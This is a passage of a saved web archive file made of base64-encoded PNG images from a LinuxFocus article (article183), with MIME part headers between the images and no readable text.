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 qkt6GmLVWQAAAABJRU5ErkJggg== ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/png Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/article183/r1.png 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 gLD/B1fx7eWQg5XIAAAAAElFTkSuQmCC ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/png Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/article183/r2.png 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 ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/png Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/article183/r3.png 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 